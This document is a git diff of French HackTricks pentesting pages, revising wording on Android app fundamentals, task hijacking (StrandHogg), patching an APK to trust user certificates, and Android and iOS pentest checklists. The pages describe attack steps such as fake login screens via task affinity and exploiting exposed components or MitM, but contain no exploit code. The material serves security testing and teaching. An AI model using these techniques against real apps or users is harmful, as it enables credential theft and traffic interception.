Le cycle de vie d'une activité **commence avec la méthode onCreate**, configurant l'interface utilisateur et préparant l'activité pour l'interaction avec l'utilisateur.
Le cycle de vie d'une activité **commence avec la méthode onCreate**, mettant en place l'interface utilisateur et préparant l'activité pour l'interaction avec l'utilisateur.
### Sous-classe d'application
Dans le développement Android, une application a la possibilité de créer une **sous-classe** de la [classe Application](https://developer.android.com/reference/android/app/Application), bien que cela ne soit pas obligatoire. Lorsqu'une telle sous-classe est définie, elle devient la première classe à être instanciée dans l'application. La méthode **`attachBaseContext`**, si elle est implémentée dans cette sous-classe, est exécutée avant la méthode **`onCreate`**. Cette configuration permet une initialisation précoce avant le démarrage du reste de l'application.
Dans le développement Android, une application a la possibilité de créer une **sous-classe** de la classe [Application](https://developer.android.com/reference/android/app/Application), bien que cela ne soit pas obligatoire. Lorsqu'une telle sous-classe est définie, elle devient la première classe à être instanciée dans l'application. La méthode **`attachBaseContext`**, si elle est implémentée dans cette sous-classe, est exécutée avant la méthode **`onCreate`**. Cette configuration permet une initialisation précoce avant le démarrage du reste de l'application.
```java
public class MyApp extends Application {
@Override
@ -308,9 +308,9 @@ Les **récepteurs de diffusion** agissent comme des écouteurs dans un système
Les **filtres d'intention** sont cruciaux dans les deux méthodes d'enregistrement, déterminant quelles diffusions déclenchent le récepteur. Une fois qu'une diffusion correspondante est envoyée, la méthode **`onReceive`** du récepteur est invoquée, permettant à l'application de réagir en conséquence, comme ajuster le comportement en réponse à une alerte de batterie faible.
Les diffusions peuvent être soit **asynchrones**, atteignant tous les récepteurs sans ordre, soit **synchrones**, où les récepteurs reçoivent la diffusion en fonction des priorités définies. Cependant, il est important de noter le risque potentiel pour la sécurité, car toute application peut se donner la priorité pour intercepter une diffusion.
Les diffusions peuvent être soit **asynchrones**, atteignant tous les récepteurs sans ordre, soit **synchrones**, où les récepteurs reçoivent la diffusion en fonction de priorités définies. Cependant, il est important de noter le risque potentiel pour la sécurité, car toute application peut se prioriser pour intercepter une diffusion.
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** à l'intérieur de sa classe. Le code de cette méthode peut manipuler l'Intention reçue, soulignant la nécessité de la validation des données par les récepteurs, en particulier dans les **Diffusions ordonnées**, qui peuvent modifier ou supprimer l'Intention.
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** à l'intérieur de sa classe. Le code de cette méthode peut manipuler l'Intention reçue, soulignant la nécessité d'une validation des données par les récepteurs, en particulier dans les **Diffusions ordonnées**, qui peuvent modifier ou supprimer l'Intention.
### Fournisseur de contenu
@ -320,7 +320,7 @@ La validation des entrées est primordiale pour prévenir les vulnérabilités,
**FileProvider**, un Fournisseur de contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, indiqués par `android:exported` et `android:resource` pointant vers des configurations de dossiers. Il est conseillé de faire preuve de prudence lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
Déclaration de manifeste exemple pour FileProvider:
Exemple de déclaration dans le manifest pour FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -330,7 +330,7 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Et un exemple de spécification des dossiers partagés dans `filepaths.xml` :
Et un exemple de spécification des dossiers partagés dans `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -342,7 +342,7 @@ Pour plus d'informations, consultez :
## WebViews
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, affichant du contenu soit depuis le web, soit depuis des fichiers locaux. Ils sont confrontés à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres spécifiques**.
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, récupérant du contenu soit depuis le web, soit depuis des fichiers locaux. Ils sont confrontés à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres spécifiques**.
Android propose deux principaux types de WebView :
@ -364,7 +364,7 @@ Pour contrôler l'accès aux fichiers :
### **Signature numérique des applications**
- La **signature numérique** est indispensable pour les applications Android, garantissant qu'elles sont **authentiquement authentifiées** avant l'installation. Ce processus utilise un certificat pour l'identification de l'application et doit être vérifié par le gestionnaire de packages de l'appareil lors de l'installation. Les applications peuvent être **auto-signées ou certifiées par une AC externe**, se protégeant ainsi contre les accès non autorisés et garantissant que l'application reste intacte lors de sa livraison à l'appareil.
- La **signature numérique** est indispensable pour les applications Android, garantissant qu'elles sont **authentiquement authentifiées** avant l'installation. Ce processus utilise un certificat pour l'identification de l'application et doit être vérifié par le gestionnaire de packages de l'appareil lors de l'installation. Les applications peuvent être **auto-signées ou certifiées par une AC externe**, se protégeant contre les accès non autorisés et garantissant que l'application reste intacte lors de sa livraison à l'appareil.
### **Vérification de l'application pour une sécurité renforcée**
@ -372,7 +372,7 @@ Pour contrôler l'accès aux fichiers :
### **Gestion des appareils mobiles (MDM)**
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **l'autorisation de l'effacement des données à distance**, assurant un contrôle et une sécurité complets sur les appareils mobiles.
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **l'autorisation de l'effacement des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
```
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -51,13 +51,13 @@ L'attribut `launchMode` dirige la gestion des instances d'activité au sein des
2. **Activation initiale** : La victime ouvre d'abord l'application malveillante, préparant l'appareil pour l'attaque.
3. **Tentative de lancement de l'application cible** : La victime tente d'ouvrir l'application cible.
4. **Exécution de détournement** : En raison de l'affinité de tâche correspondante, l'application malveillante est lancée à la place de l'application cible.
5. **Tromperie** : L'application malveillante présente un faux écran de connexion ressemblant à l'application cible, incitant l'utilisateur à saisir des informations sensibles.
5. **Tromperie** : L'application malveillante présente un faux écran de connexion ressemblant à l'application cible, trompant l'utilisateur pour qu'il saisisse des informations sensibles.
Pour une mise en œuvre pratique de cette attaque, consultez le dépôt Task Hijacking Strandhogg sur GitHub : [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Mesures de prévention
Pour prévenir de telles attaques, les développeurs peuvent définir `taskAffinity` sur une chaîne vide et opter pour le mode de lancement `singleInstance`, assurant l'isolement de leur application des autres. Personnaliser la fonction `onBackPressed()` offre une protection supplémentaire contre le détournement de tâche.
Pour prévenir de telles attaques, les développeurs peuvent définir `taskAffinity` sur une chaîne vide et opter pour le mode de lancement `singleInstance`, assurant l'isolation de leur application par rapport aux autres. Personnaliser la fonction `onBackPressed()` offre une protection supplémentaire contre le détournement de tâche.
## **Références**
@ -66,20 +66,20 @@ Pour prévenir de telles attaques, les développeurs peuvent définir `taskAffin
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -1,6 +1,6 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks :
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,7 +32,7 @@ Tout d'abord, nous décomplilons l'application : `apktool d *nom-du-fichier*.apk
![](../../.gitbook/assets/img9.png)
Ensuite, nous allons dans le fichier **Manifest.xml** et descendons jusqu'à la balise `<\application android>` et nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
Ensuite, nous allons dans le fichier **Manifest.xml** et descendons jusqu'à la balise `<\application android>` nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
`android:networkSecurityConfig="@xml/network_security_config`
@ -67,13 +67,13 @@ Enfin, vous devez simplement **signer la nouvelle application**. [Consultez cett
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

View file

@ -8,13 +8,13 @@
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
### [Apprenez les fondamentaux d'Android](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Basiques](android-app-pentesting/#fundamentals-review)
* [ ] [Bases](android-app-pentesting/#fundamentals-review)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [Points d'entrée](android-app-pentesting/#application-entry-points)
* [ ] [Activités](android-app-pentesting/#launcher-activity)
@ -31,14 +31,14 @@
* [ ] [Services](android-app-pentesting/#services-1)
* [ ] [Récepteurs de diffusion](android-app-pentesting/#broadcast-receivers)
* [ ] [Intentions](android-app-pentesting/#intents)
* [ ] [Filtre d'intentions](android-app-pentesting/#intent-filter)
* [ ] [Filtre d'intention](android-app-pentesting/#intent-filter)
* [ ] [Autres composants](android-app-pentesting/#other-app-components)
* [ ] Comment utiliser ADB (Android Debug Bridge) (android-app-pentesting/#adb-android-debug-bridge)
* [ ] Comment modifier Smali (android-app-pentesting/#smali)
### [Analyse statique](android-app-pentesting/#static-analysis)
* [ ] Vérifiez l'utilisation de [l'obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-altération. [Lisez ceci pour plus d'informations](android-app-pentesting/#other-checks).
* [ ] Vérifiez l'utilisation de [l'obscurcissement](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-altération. [Lisez ceci pour plus d'informations](android-app-pentesting/#other-checks).
* [ ] Les applications sensibles (comme les applications bancaires) doivent vérifier si le mobile est rooté et agir en conséquence.
* [ ] Recherchez les [chaînes intéressantes](android-app-pentesting/#looking-for-interesting-info) (mots de passe, URL, API, chiffrement, portes dérobées, jetons, UUID Bluetooth...).
* [ ] Une attention particulière aux API [firebase](android-app-pentesting/#firebase).
@ -50,7 +50,7 @@
* [ ] Services exposés
* [ ] Récepteurs de diffusion
* [ ] Schémas d'URL
* [ ] L'application sauve-t-elle des données de manière non sécurisée en interne ou en externe (android-app-pentesting/#insecure-data-storage)?
* [ ] L'application enregistre-t-elle des données de manière non sécurisée en interne ou en externe (android-app-pentesting/#insecure-data-storage)?
* [ ] Y a-t-il un [mot de passe codé en dur ou enregistré sur le disque](android-app-pentesting/#poorkeymanagementprocesses)? L'application [utilise-t-elle des algorithmes de chiffrement non sécurisés](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Toutes les bibliothèques sont-elles compilées en utilisant le drapeau PIE?
* [ ] N'oubliez pas qu'il existe une multitude d'[analyseurs statiques Android](android-app-pentesting/#automatic-analysis) qui peuvent beaucoup vous aider pendant cette phase.
@ -64,20 +64,20 @@
* [ ] Fournisseurs de contenu exploitables (android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] Services exposés exploitables (android-app-pentesting/#exploiting-services)?
* [ ] Récepteurs de diffusion exploitables (android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] L'application transmet-elle des informations en clair/utilise-t-elle des algorithmes faibles (android-app-pentesting/#insufficient-transport-layer-protection)? est-il possible de faire une attaque de l'homme du milieu (MitM)?
* [ ] L'application transmet-elle des informations en clair/utilise-t-elle des algorithmes faibles (android-app-pentesting/#insufficient-transport-layer-protection)? une attaque de l'homme du milieu est-elle possible?
* [ ] [Inspectez le trafic HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Ceci est très important, car si vous pouvez capturer le trafic HTTP, vous pouvez rechercher des vulnérabilités Web courantes (Hacktricks a beaucoup d'informations sur les vulnérabilités Web).
* [ ] Recherchez d'éventuelles [injections côté client Android](android-app-pentesting/#android-client-side-injections-and-others) (probablement une analyse de code statique vous aidera ici)
* [ ] [Frida](android-app-pentesting/#frida): Juste Frida, utilisez-le pour obtenir des données dynamiques intéressantes de l'application (peut-être quelques mots de passe...)
### Informations sur l'obfuscation/Déobfuscation
### Informations sur l'obscurcissement/Déobscurcissement
* [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code)
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -89,6 +89,6 @@
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -3,8 +3,8 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui à :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -17,14 +17,14 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,9 +32,9 @@ Autres façons de soutenir HackTricks :
### Préparation
* [ ] Lisez les [**Bases d'iOS**](ios-pentesting/ios-basics.md)
* [ ] Lire les [**Bases d'iOS**](ios-pentesting/ios-basics.md)
* [ ] Préparez votre environnement en lisant [**Environnement de test iOS**](ios-pentesting/ios-testing-environment.md)
* [ ] Lisez toutes les sections de [**Analyse initiale iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes à tester dans une application iOS
* [ ] Lire toutes les sections de [**Analyse initiale iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes pour pentester une application iOS
### Stockage de données
@ -44,11 +44,11 @@ Autres façons de soutenir HackTricks :
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mauvaise configuration.
* [ ] Les [**bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles.
* [ ] Les [**bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles.
* [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles
* [ ] Les [**données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles
* [ ] Les [**instantanés automatiques**](ios-pentesting/#snapshots) peuvent enregistrer des informations visuellement sensibles
* [ ] Le [**trousseau**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers
* [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles.
* [ ] Les données de **cache** (ios-pentesting/#cache) peuvent stocker des informations sensibles.
* [ ] Les **instantanés automatiques** (ios-pentesting/#snapshots) peuvent enregistrer des informations visuelles sensibles.
* [ ] Le **trousseau** (ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers.
### Claviers
@ -68,15 +68,15 @@ Autres façons de soutenir HackTricks :
* [ ] Vérifiez les informations sensibles dans la [**mémoire de l'application**](ios-pentesting/#testing-memory-for-sensitive-data)
### **Cryptographie défaillante**
### **Cryptographie cassée**
* [ ] Vérifiez si vous pouvez trouver des [**mots de passe utilisés pour la cryptographie**](ios-pentesting/#broken-cryptography)
* [ ] Vérifiez l'utilisation d'algorithmes [**obsolètes/faibles**](ios-pentesting/#broken-cryptography) pour envoyer/stoker des données sensibles
* [ ] Vérifiez l'utilisation d'**algorithmes obsolètes/faibles** pour envoyer/stoker des données sensibles
* [ ] [**Accrochez et surveillez les fonctions de cryptographie**](ios-pentesting/#broken-cryptography)
### **Authentification locale**
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devez vérifier le fonctionnement de l'authentification.
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devriez vérifier comment l'authentification fonctionne.
* [ ] Si elle utilise le [**Cadre d'authentification locale**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé
@ -86,12 +86,12 @@ Autres façons de soutenir HackTricks :
* [ ] Vérifiez si l'application **enregistre un protocole/un schéma**
* [ ] Vérifiez si l'application **s'enregistre pour utiliser** un protocole/un schéma
* [ ] Vérifiez si l'application **s'attend à recevoir un type d'informations sensibles** du schéma personnalisé qui peut être **intercepté** par une autre application enregistrant le même schéma
* [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé
* [**Liens universels**](ios-pentesting/#universal-links)
* [ ] Vérifiez si l'application **enregistre un protocole/un schéma universel**
* [ ] Vérifiez le fichier `apple-app-site-association`
* [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé
* [**Partage d'activités UI**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Vérifiez si l'application peut recevoir des UIActivities et s'il est possible d'exploiter une vulnérabilité avec une activité spécialement conçue
@ -102,7 +102,7 @@ Autres façons de soutenir HackTricks :
* [**Extensions d'application**](ios-pentesting/ios-app-extensions.md)
* [ ] L'application **utilise-t-elle une extension** ?
* [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] Vérifiez quels types de webviews sont utilisés
* [ ] Vérifiez quel type de webviews est utilisé
* [ ] Vérifiez l'état de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Vérifiez si la webview peut **accéder aux fichiers locaux** avec le protocole **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Vérifiez si JavaScript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`)
@ -119,7 +119,7 @@ Autres façons de soutenir HackTricks :
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -131,9 +131,9 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
